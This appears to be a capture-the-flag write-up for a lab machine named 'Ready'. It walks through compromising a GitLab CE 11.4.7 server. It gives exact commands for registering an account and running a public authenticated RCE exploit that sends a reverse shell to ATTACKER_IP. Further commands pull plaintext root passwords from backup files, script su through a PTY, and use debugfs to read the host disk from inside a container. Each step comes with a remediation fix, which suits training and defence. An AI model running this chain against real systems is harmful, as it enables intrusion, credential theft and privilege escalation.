Ready
Summary
Target ready ($TARGET) was fully compromised via a three-stage chain. An nginx-fronted GitLab Community Edition 11.4.7 instance permitted open self-registration with no admin approval, giving any visitor the authenticated session required to trigger a known remote-code-execution vulnerability (CVE-2018-19571 / CVE-2018-19585). A reverse shell arrived as the unprivileged 'git' service account inside a Dockerized GitLab container.
World-readable backup configuration files in /opt/backup/ stored the host's root account password in plaintext; a PTY-wrapped su session used it to become root inside the container. Because the container's root identity could not override host-side volume-mount ownership, I used the debugfs utility against the exposed underlying block device (/dev/sda2) to read the host root flag directly from the raw filesystem, bypassing Linux permission checks entirely.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"Some commands also carry a value in angle brackets — <reg_pass>, <reg_user> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 2
Initial port and banner scan to identify services.
$ nmap -Pn -sV -p 22,5080 --script=http-title,http-headers $TARGETConfirm the exact GitLab version without credentials.
$ curl -s http://$TARGET:5080/api/v4/versionExact commands 2
Confirm self-registration is open (expect HTTP 200).
$ curl -s -o /dev/null -w '%{http_code}' http://$TARGET:5080/users/sign_upRegister my account; adjust field values as needed.
$ curl -s -c gl_cookies.txt -X POST http://$TARGET:5080/users -d "user[name]=$USERNAME&user[username]=$USERNAME&user[email]=$USERNAME@local.dev&user[password]=$PASSWORD2&user[password_confirmation]=$PASSWORD2"FixDisable or gate GitLab open self-registrationHigh
Exact commands 3
Start the reverse-shell listener on my machine before running the exploit.
$ nc -lvnp 4444Fetch the GitLab 11.4.7 authenticated RCE exploit script.
$ searchsploit -m 49334Run the exploit; substitute <reg_user> and <reg_pass> with the self-registered credentials and $ATTACKER_IP with your machine's IP.
$ python3 49334.py -u '<reg_user>' -p '<reg_pass>' -g "http://$TARGET:5080" -l "$ATTACKER_IP" -P 4444FixUpgrade GitLab CE to a patched release (remediates CVE-2018-19571 / CVE-2018-19585)Critical
Exact commands 2
Verify the shell identity and confirm container isolation.
$ id && ls /.dockerenv && cat /proc/1/cgroup | head -5Read the user flag — accessible to git (uid=998) without escalation.
$ cat /home/dude/user.txtExact commands 2
List backup files and confirm they are world-readable.
$ ls -la /opt/backup/Surface all credential strings from the configuration files.
$ grep -RniE 'password|passwd|secret' /opt/backup/gitlab.rb /opt/backup/docker-compose.ymlFixRemove plaintext credentials from backup files and lock down their permissionsCritical
Exact commands 1
Allocates a PTY and feeds the password to su automatically. Write this to /tmp/supty.py and run python3 /tmp/supty.py if the shell truncates inline scripts.
$ python3 -c "import os,pty,select,time
pw=b'$PASSWORD\n'
pid,fd=pty.fork()
if pid==0: os.execlp('su','su','-')
buf,sent,end=b'',False,time.time()+12
while time.time()<end:
r,_,_=select.select([fd],[],[],0.2)
if fd in r:
buf+=os.read(fd,512)
if not sent and b'Password' in buf: os.write(fd,pw);sent=True
if sent and b'root@' in buf: os.write(fd,b'id\n');break"
uid=0(root) gid=0(root)Exact commands 2
Identify the host block device backing the container's filesystem.
$ grep sda /proc/self/mountinfoRead the host root flag directly off the raw ext4 filesystem image, bypassing all Linux permission checks.
$ debugfs -R 'cat /root/root.txt' /dev/sda2 2>/dev/nullFixBlock container access to host block devices to prevent raw-disk readsCritical
Exposed services
| 22/tcp | ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) |
| 5080/tcp | http nginx |